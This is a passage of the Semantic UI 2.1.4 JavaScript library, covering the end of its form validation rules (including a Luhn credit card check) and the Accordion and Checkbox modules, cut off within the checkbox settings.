: '{name} cannot be longer than {ruleValue} characters', match : '{name} must match {ruleValue} field', different : '{name} must have a different value than {ruleValue} field', creditCard : '{name} must be a valid credit card number', minCount : '{name} must have at least {ruleValue} choices', exactCount : '{name} must have exactly {ruleValue} choices', maxCount : '{name} must have {ruleValue} or less choices' }, selector : { checkbox : 'input[type="checkbox"], input[type="radio"]', clear : '.clear', field : 'input, textarea, select', group : '.field', input : 'input', message : '.error.message', prompt : '.prompt.label', radio : 'input[type="radio"]', reset : '.reset:not([type="reset"])', submit : '.submit:not([type="submit"])', uiCheckbox : '.ui.checkbox', uiDropdown : '.ui.dropdown' }, className : { error : 'error', label : 'ui prompt label', pressed : 'down', success : 'success' }, error: { identifier : 'You must specify a string identifier for each field', method : 'The method you called is not defined.', noRule : 'There is no rule matching the one you specified', oldSyntax : 'Starting in 2.0 forms now only take a single settings object. Validation settings converted to new syntax automatically.' }, templates: { // template that produces error message error: function(errors) { var html = '<ul class="list">' ; $.each(errors, function(index, value) { html += '<li>' + value + '</li>'; }); html += '</ul>'; return $(html); }, // template that produces label prompt: function(errors) { return $('<div/>') .addClass('ui basic red pointing prompt label') .html(errors[0]) ; } }, rules: { // is not empty or blank string empty: function(value) { return !(value === undefined || '' === value || $.isArray(value) && value.length === 0); }, // checkbox checked checked: function() { return ($(this).filter(':checked').length > 0); }, // is most likely an email email: function(value){ var emailRegExp = new RegExp($.fn.form.settings.regExp.email, 'i') ; return emailRegExp.test(value); }, // value is most likely url url: function(value) { return $.fn.form.settings.regExp.url.test(value); }, // matches specified regExp regExp: function(value, regExp) { var regExpParts = regExp.match($.fn.form.settings.regExp.flags), flags ; // regular expression specified as /baz/gi (flags) if(regExpParts) { regExp = (regExpParts.length >= 2) ? regExpParts[1] : regExp ; flags = (regExpParts.length >= 3) ? regExpParts[2] : '' ; } return value.match( new RegExp(regExp, flags) ); }, // is valid integer or matches range integer: function(value, range) { var intRegExp = $.fn.form.settings.regExp.integer, min, max, parts ; if(range === undefined || range === '' || range === '..') { // do nothing } else if(range.indexOf('..') == -1) { if(intRegExp.test(range)) { min = max = range - 0; } } else { parts = range.split('..', 2); if(intRegExp.test(parts[0])) { min = parts[0] - 0; } if(intRegExp.test(parts[1])) { max = parts[1] - 0; } } return ( intRegExp.test(value) && (min === undefined || value >= min) && (max === undefined || value <= max) ); }, // is valid number (with decimal) decimal: function(value) { return $.fn.form.settings.regExp.decimal.test(value); }, // is valid number number: function(value) { return $.fn.form.settings.regExp.number.test(value); }, // is value (case insensitive) is: function(value, text) { text = (typeof text == 'string') ? text.toLowerCase() : text ; value = (typeof value == 'string') ? value.toLowerCase() : value ; return (value == text); }, // is value isExactly: function(value, text) { return (value == text); }, // value is not another value (case insensitive) not: function(value, notValue) { value = (typeof value == 'string') ? value.toLowerCase() : value ; notValue = (typeof notValue == 'string') ? notValue.toLowerCase() : notValue ; return (value != notValue); }, // value is not another value (case sensitive) notExactly: function(value, notValue) { return (value != notValue); }, // value contains text (insensitive) contains: function(value, text) { // escape regex characters text = text.replace($.fn.form.settings.regExp.escape, "\\$&"); return (value.search( new RegExp(text, 'i') ) !== -1); }, // value contains text (case sensitive) containsExactly: function(value, text) { // escape regex characters text = text.replace($.fn.form.settings.regExp.escape, "\\$&"); return (value.search( new RegExp(text) ) !== -1); }, // value contains text (insensitive) doesntContain: function(value, text) { // escape regex characters text = text.replace($.fn.form.settings.regExp.escape, "\\$&"); return (value.search( new RegExp(text, 'i') ) === -1); }, // value contains text (case sensitive) doesntContainExactly: function(value, text) { // escape regex characters text = text.replace($.fn.form.settings.regExp.escape, "\\$&"); return (value.search( new RegExp(text) ) === -1); }, // is at least string length minLength: function(value, requiredLength) { return (value !== undefined) ? (value.length >= requiredLength) : false ; }, // see rls notes for 2.0.6 (this is a duplicate of minLength) length: function(value, requiredLength) { return (value !== undefined) ? (value.length >= requiredLength) : false ; }, // is exactly length exactLength: function(value, requiredLength) { return (value !== undefined) ? (value.length == requiredLength) : false ; }, // is less than length maxLength: function(value, maxLength) { return (value !== undefined) ? (value.length <= maxLength) : false ; }, // matches another field match: function(value, identifier) { var $form = $(this), matchingValue ; if( $('[data-validate="'+ identifier +'"]').length > 0 ) { matchingValue = $('[data-validate="'+ identifier +'"]').val(); } else if($('#' + identifier).length > 0) { matchingValue = $('#' + identifier).val(); } else if($('[name="' + identifier +'"]').length > 0) { matchingValue = $('[name="' + identifier + '"]').val(); } else if( $('[name="' + identifier +'[]"]').length > 0 ) { matchingValue = $('[name="' + identifier +'[]"]'); } return (matchingValue !== undefined) ? ( value.toString() == matchingValue.toString() ) : false ; }, // different than another field different: function(value, identifier) { // use either id or name of field var $form = $(this), matchingValue ; if( $('[data-validate="'+ identifier +'"]').length > 0 ) { matchingValue = $('[data-validate="'+ identifier +'"]').val(); } else if($('#' + identifier).length > 0) { matchingValue = $('#' + identifier).val(); } else if($('[name="' + identifier +'"]').length > 0) { matchingValue = $('[name="' + identifier + '"]').val(); } else if( $('[name="' + identifier +'[]"]').length > 0 ) { matchingValue = $('[name="' + identifier +'[]"]'); } return (matchingValue !== undefined) ? ( value.toString() !== matchingValue.toString() ) : false ; }, creditCard: function(cardNumber, cardTypes) { var cards = { visa: { pattern : /^4/, length : [16] }, amex: { pattern : /^3[47]/, length : [15] }, mastercard: { pattern : /^5[1-5]/, length : [16] }, discover: { pattern : /^(6011|622(12[6-9]|1[3-9][0-9]|[2-8][0-9]{2}|9[0-1][0-9]|92[0-5]|64[4-9])|65)/, length : [16] }, unionPay: { pattern : /^(62|88)/, length : [16, 17, 18, 19] }, jcb: { pattern : /^35(2[89]|[3-8][0-9])/, length : [16] }, maestro: { pattern : /^(5018|5020|5038|6304|6759|676[1-3])/, length : [12, 13, 14, 15, 16, 17, 18, 19] }, dinersClub: { pattern : /^(30[0-5]|^36)/, length : [14] }, laser: { pattern : /^(6304|670[69]|6771)/, length : [16, 17, 18, 19] }, visaElectron: { pattern : /^(4026|417500|4508|4844|491(3|7))/, length : [16] } }, valid = {}, validCard = false, requiredTypes = (typeof cardTypes == 'string') ? cardTypes.split(',') : false, unionPay, validation ; if(typeof cardNumber !== 'string' || cardNumber.length === 0) { return; } // verify card types if(requiredTypes) { $.each(requiredTypes, function(index, type){ // verify each card type validation = cards[type]; if(validation) { valid = { length : ($.inArray(cardNumber.length, validation.length) !== -1), pattern : (cardNumber.search(validation.pattern) !== -1) }; if(valid.length && valid.pattern) { validCard = true; } } }); if(!validCard) { return false; } } // skip luhn for UnionPay unionPay = { number : ($.inArray(cardNumber.length, cards.unionPay.length) !== -1), pattern : (cardNumber.search(cards.unionPay.pattern) !== -1) }; if(unionPay.number && unionPay.pattern) { return true; } // verify luhn, adapted from <https://gist.github.com/2134376> var length = cardNumber.length, multiple = 0, producedValue = [ [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [0, 2, 4, 6, 8, 1, 3, 5, 7, 9] ], sum = 0 ; while (length--) { sum += producedValue[multiple][parseInt(cardNumber.charAt(length), 10)]; multiple ^= 1; } return (sum % 10 === 0 && sum > 0); }, minCount: function(value, minCount) { if(minCount == 0) { return true; } if(minCount == 1) { return (value !== ''); } return (value.split(',').length >= minCount); }, exactCount: function(value, exactCount) { if(exactCount == 0) { return (value === ''); } if(exactCount == 1) { return (value !== '' && value.search(',') === -1); } return (value.split(',').length == exactCount); }, maxCount: function(value, maxCount) { if(maxCount == 0) { return false; } if(maxCount == 1) { return (value.search(',') === -1); } return (value.split(',').length <= maxCount); } } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Accordion * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ($, window, document, undefined) { "use strict"; $.fn.accordion = function(parameters) { var $allModules = $(this), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.accordion.settings, parameters) : $.extend({}, $.fn.accordion.settings), className = settings.className, namespace = settings.namespace, selector = settings.selector, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, moduleSelector = $allModules.selector || '', $module = $(this), $title = $module.find(selector.title), $content = $module.find(selector.content), element = this, instance = $module.data(moduleNamespace), observer, module ; module = { initialize: function() { module.debug('Initializing', $module); module.bind.events(); if(settings.observeChanges) { module.observeChanges(); } module.instantiate(); }, instantiate: function() { instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.debug('Destroying previous instance', $module); $module .off(eventNamespace) .removeData(moduleNamespace) ; }, refresh: function() { $title = $module.find(selector.title); $content = $module.find(selector.content); }, observeChanges: function() { if('MutationObserver' in window) { observer = new MutationObserver(function(mutations) { module.debug('DOM tree modified, updating selector cache'); module.refresh(); }); observer.observe(element, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, bind: { events: function() { module.debug('Binding delegated events'); $module .on(settings.on + eventNamespace, selector.trigger, module.event.click) ; } }, event: { click: function() { module.toggle.call(this); } }, toggle: function(query) { var $activeTitle = (query !== undefined) ? (typeof query === 'number') ? $title.eq(query) : $(query).closest(selector.title) : $(this).closest(selector.title), $activeContent = $activeTitle.next($content), isAnimating = $activeContent.hasClass(className.animating), isActive = $activeContent.hasClass(className.active), isOpen = (isActive && !isAnimating), isOpening = (!isActive && isAnimating) ; module.debug('Toggling visibility of content', $activeTitle); if(isOpen || isOpening) { if(settings.collapsible) { module.close.call($activeTitle); } else { module.debug('Cannot close accordion content collapsing is disabled'); } } else { module.open.call($activeTitle); } }, open: function(query) { var $activeTitle = (query !== undefined) ? (typeof query === 'number') ? $title.eq(query) : $(query).closest(selector.title) : $(this).closest(selector.title), $activeContent = $activeTitle.next($content), isAnimating = $activeContent.hasClass(className.animating), isActive = $activeContent.hasClass(className.active), isOpen = (isActive || isAnimating) ; if(isOpen) { module.debug('Accordion already open, skipping', $activeContent); return; } module.debug('Opening accordion content', $activeTitle); settings.onOpening.call($activeContent); if(settings.exclusive) { module.closeOthers.call($activeTitle); } $activeTitle .addClass(className.active) ; $activeContent .stop(true, true) .addClass(className.animating) ; if(settings.animateChildren) { if($.fn.transition !== undefined && $module.transition('is supported')) { $activeContent .children() .transition({ animation : 'fade in', queue : false, useFailSafe : true, debug : settings.debug, verbose : settings.verbose, duration : settings.duration }) ; } else { $activeContent .children() .stop(true, true) .animate({ opacity: 1 }, settings.duration, module.resetOpacity) ; } } $activeContent .slideDown(settings.duration, settings.easing, function() { $activeContent .removeClass(className.animating) .addClass(className.active) ; module.reset.display.call(this); settings.onOpen.call(this); settings.onChange.call(this); }) ; }, close: function(query) { var $activeTitle = (query !== undefined) ? (typeof query === 'number') ? $title.eq(query) : $(query).closest(selector.title) : $(this).closest(selector.title), $activeContent = $activeTitle.next($content), isAnimating = $activeContent.hasClass(className.animating), isActive = $activeContent.hasClass(className.active), isOpening = (!isActive && isAnimating), isClosing = (isActive && isAnimating) ; if((isActive || isOpening) && !isClosing) { module.debug('Closing accordion content', $activeContent); settings.onClosing.call($activeContent); $activeTitle .removeClass(className.active) ; $activeContent .stop(true, true) .addClass(className.animating) ; if(settings.animateChildren) { if($.fn.transition !== undefined && $module.transition('is supported')) { $activeContent .children() .transition({ animation : 'fade out', queue : false, useFailSafe : true, debug : settings.debug, verbose : settings.verbose, duration : settings.duration }) ; } else { $activeContent .children() .stop(true, true) .animate({ opacity: 0 }, settings.duration, module.resetOpacity) ; } } $activeContent .slideUp(settings.duration, settings.easing, function() { $activeContent .removeClass(className.animating) .removeClass(className.active) ; module.reset.display.call(this); settings.onClose.call(this); settings.onChange.call(this); }) ; } }, closeOthers: function(index) { var $activeTitle = (index !== undefined) ? $title.eq(index) : $(this).closest(selector.title), $parentTitles = $activeTitle.parents(selector.content).prev(selector.title), $activeAccordion = $activeTitle.closest(selector.accordion), activeSelector = selector.title + '.' + className.active + ':visible', activeContent = selector.content + '.' + className.active + ':visible', $openTitles, $nestedTitles, $openContents ; if(settings.closeNested) { $openTitles = $activeAccordion.find(activeSelector).not($parentTitles); $openContents = $openTitles.next($content); } else { $openTitles = $activeAccordion.find(activeSelector).not($parentTitles); $nestedTitles = $activeAccordion.find(activeContent).find(activeSelector).not($parentTitles); $openTitles = $openTitles.not($nestedTitles); $openContents = $openTitles.next($content); } if( ($openTitles.length > 0) ) { module.debug('Exclusive enabled, closing other content', $openTitles); $openTitles .removeClass(className.active) ; $openContents .removeClass(className.animating) .stop(true, true) ; if(settings.animateChildren) { if($.fn.transition !== undefined && $module.transition('is supported')) { $openContents .children() .transition({ animation : 'fade out', useFailSafe : true, debug : settings.debug, verbose : settings.verbose, duration : settings.duration }) ; } else { $openContents .children() .stop(true, true) .animate({ opacity: 0 }, settings.duration, module.resetOpacity) ; } } $openContents .slideUp(settings.duration , settings.easing, function() { $(this).removeClass(className.active); module.reset.display.call(this); }) ; } }, reset: { display: function() { module.verbose('Removing inline display from element', this); $(this).css('display', ''); if( $(this).attr('style') === '') { $(this) .attr('style', '') .removeAttr('style') ; } }, opacity: function() { module.verbose('Removing inline opacity from element', this); $(this).css('opacity', ''); if( $(this).attr('style') === '') { $(this) .attr('style', '') .removeAttr('style') ; } }, }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { module.debug('Changing internal', name, value); if(value !== undefined) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else { module[name] = value; } } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.accordion.settings = { name : 'Accordion', namespace : 'accordion', debug : false, verbose : false, performance : true, on : 'click', // event on title that opens accordion observeChanges : true, // whether accordion should automatically refresh on DOM insertion exclusive : true, // whether a single accordion content panel should be open at once collapsible : true, // whether accordion content can be closed closeNested : false, // whether nested content should be closed when a panel is closed animateChildren : true, // whether children opacity should be animated duration : 350, // duration of animation easing : 'easeOutQuad', // easing equation for animation onOpening : function(){}, // callback before open animation onOpen : function(){}, // callback after open animation onClosing : function(){}, // callback before closing animation onClose : function(){}, // callback after closing animation onChange : function(){}, // callback after closing or opening animation error: { method : 'The method you called is not defined' }, className : { active : 'active', animating : 'animating' }, selector : { accordion : '.accordion', title : '.title', trigger : '.title', content : '.content' } }; // Adds easing $.extend( $.easing, { easeOutQuad: function (x, t, b, c, d) { return -c *(t/=d)*(t-2) + b; } }); })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Checkbox * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.checkbox = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = $.extend(true, {}, $.fn.checkbox.settings, parameters), className = settings.className, namespace = settings.namespace, selector = settings.selector, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $label = $(this).children(selector.label), $input = $(this).children(selector.input), input = $input[0], initialLoad = false, shortcutPressed = false, instance = $module.data(moduleNamespace), observer, element = this, module ; module = { initialize: function() { module.verbose('Initializing checkbox', settings); module.create.label(); module.bind.events(); module.set.tabbable(); module.hide.input(); module.observeChanges(); module.instantiate(); module.setup(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying module'); module.unbind.events(); module.show.input(); $module.removeData(moduleNamespace); }, fix: { reference: function() { if( $module.is(selector.input) ) { module.debug('Behavior called on <input> adjusting invoked element'); $module = $module.closest(selector.checkbox); module.refresh(); } } }, setup: function() { module.set.initialLoad(); if( module.is.indeterminate() ) { module.debug('Initial value is indeterminate'); module.indeterminate(); } else if( module.is.checked() ) { module.debug('Initial value is checked'); module.check(); } else { module.debug('Initial value is unchecked'); module.uncheck(); } module.remove.initialLoad(); }, refresh: function() { $label = $module.children(selector.label); $input = $module.children(selector.input); input = $input[0]; }, hide: { input: function() { module.verbose('Modfying <input> z-index to be unselectable'); $input.addClass(className.hidden); } }, show: { input: function() { module.verbose('Modfying <input> z-index to be selectable'); $input.removeClass(className.hidden); } }, observeChanges: function() { if('MutationObserver' in window) { observer = new MutationObserver(function(mutations) { module.debug('DOM tree modified, updating selector cache'); module.refresh(); }); observer.observe(element, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, attachEvents: function(selector, event) { var $element = $(selector) ; event = $.isFunction(module[event]) ? module[event] : module.toggle ; if($element.length > 0) { module.debug('Attaching checkbox events to element', selector, event); $element .on('click' + eventNamespace, event) ; } else { module.error(error.notFound); } }, event: { click: function(event) { var $target = $(event.target) ; if( $target.is(selector.input) ) { module.verbose('Using default check action on initialized checkbox'); return; } if( $target.is(selector.link) ) { module.debug('Clicking link inside checkbox, skipping toggle'); return; } module.toggle(); $input.focus(); event.preventDefault(); }, keydown: function(event) { var key = event.which, keyCode = { enter : 13, space : 32, escape : 27 } ; if(key == keyCode.escape) { module.verbose('Escape key pressed blurring field'); $input.blur(); shortcutPressed = true; } else if(!event.ctrlKey && ( key == keyCode.space || key == keyCode.enter) ) { module.verbose('Enter/space key pressed, toggling checkbox'); module.toggle(); shortcutPressed = true; } else { shortcutPressed = false; } }, keyup: function(event) { if(shortcutPressed) { event.preventDefault(); } } }, check: function() { if( !module.should.allowCheck() ) { return; } module.debug('Checking checkbox', $input); module.set.checked(); if( !module.should.ignoreCallbacks() ) { settings.onChecked.call(input); settings.onChange.call(input); } }, uncheck: function() { if( !module.should.allowUncheck() ) { return; } module.debug('Unchecking checkbox'); module.set.unchecked(); if( !module.should.ignoreCallbacks() ) { settings.onUnchecked.call(input); settings.onChange.call(input); } }, indeterminate: function() { if( module.should.allowIndeterminate() ) { module.debug('Checkbox is already indeterminate'); return; } module.debug('Making checkbox indeterminate'); module.set.indeterminate(); if( !module.should.ignoreCallbacks() ) { settings.onIndeterminate.call(input); settings.onChange.call(input); } }, determinate: function() { if( module.should.allowDeterminate() ) { module.debug('Checkbox is already determinate'); return; } module.debug('Making checkbox determinate'); module.set.determinate(); if( !module.should.ignoreCallbacks() ) { settings.onDeterminate.call(input); settings.onChange.call(input); } }, enable: function() { if( module.is.enabled() ) { module.debug('Checkbox is already enabled'); return; } module.debug('Enabling checkbox'); module.set.enabled(); settings.onEnable.call(input); }, disable: function() { if( module.is.disabled() ) { module.debug('Checkbox is already disabled'); return; } module.debug('Disabling checkbox'); module.set.disabled(); settings.onDisable.call(input); }, get: { radios: function() { var name = module.get.name() ; return $('input[name="' + name + '"]').closest(selector.checkbox); }, otherRadios: function() { return module.get.radios().not($module); }, name: function() { return $input.attr('name'); } }, is: { initialLoad: function() { return initialLoad; }, radio: function() { return ($input.hasClass(className.radio) || $input.attr('type') == 'radio'); }, indeterminate: function() { return $input.prop('indeterminate') !== undefined && $input.prop('indeterminate'); }, checked: function() { return $input.prop('checked') !== undefined && $input.prop('checked'); }, disabled: function() { return $input.prop('disabled') !== undefined && $input.prop('disabled'); }, enabled: function() { return !module.is.disabled(); }, determinate: function() { return !module.is.indeterminate(); }, unchecked: function() { return !module.is.checked(); } }, should: { allowCheck: function() { if(module.is.determinate() && module.is.checked() && !module.should.forceCallbacks() ) { module.debug('Should not allow check, checkbox is already checked'); return false; } if(settings.beforeChecked.apply(input) === false) { module.debug('Should not allow check, beforeChecked cancelled'); return false; } return true; }, allowUncheck: function() { if(module.is.determinate() && module.is.unchecked() && !module.should.forceCallbacks() ) { module.debug('Should not allow uncheck, checkbox is already unchecked'); return false; } if(settings.beforeUnchecked.apply(input) === false) { module.debug('Should not allow uncheck, beforeUnchecked cancelled'); return false; } return true; }, allowIndeterminate: function() { if(module.is.indeterminate() && !module.should.forceCallbacks() ) { module.debug('Should not allow indeterminate, checkbox is already indeterminate'); return false; } if(settings.beforeIndeterminate.apply(input) === false) { module.debug('Should not allow indeterminate, beforeIndeterminate cancelled'); return false; } return true; }, allowDeterminate: function() { if(module.is.determinate() && !module.should.forceCallbacks() ) { module.debug('Should not allow determinate, checkbox is already determinate'); return false; } if(settings.beforeDeterminate.apply(input) === false) { module.debug('Should not allow determinate, beforeDeterminate cancelled'); return false; } return true; }, forceCallbacks: function() { return (module.is.initialLoad() && settings.fireOnInit); }, ignoreCallbacks: function() { return (initialLoad && !settings.fireOnInit); } }, can: { change: function() { return !( $module.hasClass(className.disabled) || $module.hasClass(className.readOnly) || $input.prop('disabled') || $input.prop('readonly') ); }, uncheck: function() { return (typeof settings.uncheckable === 'boolean') ? settings.uncheckable : !module.is.radio() ; } }, set: { initialLoad: function() { initialLoad = true; }, checked: function() { module.verbose('Setting class to checked'); $module .removeClass(className.indeterminate) .addClass(className.checked) ; if( module.is.radio() ) { module.uncheckOthers(); } if(!module.is.indeterminate() && module.is.checked()) { module.debug('Input is already checked, skipping input property change'); return; } module.verbose('Setting state to checked', input); $input .prop('indeterminate', false) .prop('checked', true) ; module.trigger.change(); }, unchecked: function() { module.verbose('Removing checked class'); $module .removeClass(className.indeterminate) .removeClass(className.checked) ; if(!module.is.indeterminate() && module.is.unchecked() ) { module.debug('Input is already unchecked'); return; } module.debug('Setting state to unchecked'); $input .prop('indeterminate', false) .prop('checked', false) ; module.trigger.change(); }, indeterminate: function() { module.verbose('Setting class to indeterminate'); $module .addClass(className.indeterminate) ; if( module.is.indeterminate() ) { module.debug('Input is already indeterminate, skipping input property change'); return; } module.debug('Setting state to indeterminate'); $input .prop('indeterminate', true) ; module.trigger.change(); }, determinate: function() { module.verbose('Removing indeterminate class'); $module .removeClass(className.indeterminate) ; if( module.is.determinate() ) { module.debug('Input is already determinate, skipping input property change'); return; } module.debug('Setting state to determinate'); $input .prop('indeterminate', false) ; }, disabled: function() { module.verbose('Setting class to disabled'); $module .addClass(className.disabled) ; if( module.is.disabled() ) { module.debug('Input is already disabled, skipping input property change'); return; } module.debug('Setting state to disabled'); $input .prop('disabled', 'disabled') ; module.trigger.change(); }, enabled: function() { module.verbose('Removing disabled class'); $module.removeClass(className.disabled); if( module.is.enabled() ) { module.debug('Input is already enabled, skipping input property change'); return; } module.debug('Setting state to enabled'); $input .prop('disabled', false) ; module.trigger.change(); }, tabbable: function() { module.verbose('Adding tabindex to checkbox'); if( $input.attr('tabindex') === undefined) { $input.attr('tabindex', 0); } } }, remove: { initialLoad: function() { initialLoad = false; } }, trigger: { change: function() { module.verbose('Triggering change event from programmatic change'); $input .trigger('change') ; } }, create: { label: function() { if($input.prevAll(selector.label).length > 0) { $input.prev(selector.label).detach().insertAfter($input); module.debug('Moving existing label', $label); } else if( !module.has.label() ) { $label = $('<label>').insertAfter($input); module.debug('Creating label', $label); } } }, has: { label: function() { return ($label.length > 0); } }, bind: { events: function() { module.verbose('Attaching checkbox events'); $module .on('click' + eventNamespace, module.event.click) .on('keydown' + eventNamespace, selector.input, module.event.keydown) .on('keyup' + eventNamespace, selector.input, module.event.keyup) ; } }, unbind: { events: function() { module.debug('Removing events'); $module .off(eventNamespace) ; } }, uncheckOthers: function() { var $radios = module.get.otherRadios() ; module.debug('Unchecking other radios', $radios); $radios.removeClass(className.checked); }, toggle: function() { if( !module.can.change() ) { if(!module.is.radio()) { module.debug('Checkbox is read-only or disabled, ignoring toggle'); } return; } if( module.is.indeterminate() || module.is.unchecked() ) { module.debug('Currently unchecked'); module.check(); } else if( module.is.checked() && module.can.uncheck() ) { module.debug('Currently checked'); module.uncheck(); } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.checkbox.settings = { name : 'Checkbox', namespace : 'checkbox', debug : false, verbose : true, performance : true, // delegated event context uncheckable : 'auto', fireOnInit : false, onChange : function(){}, beforeChecked : function(){}, beforeUnchecked : function(){}, beforeDeterminate : function(){}, beforeIndeterminate : function(){}, onChecked : function(){}, onUnchecked : function(){}, onDeterminate : function() {}, onIndeterminate : function() {}, onEnabled : function(){}, onDisabled : function(){}, className : { checked : 'checked', indeterminate : 'indeterminate', disabled : 'disabled', hidden : 'hidden', radio : 'radio', readOnly : 'read-only' }, error : { method : 'The method you called is not defined' }, selector : { 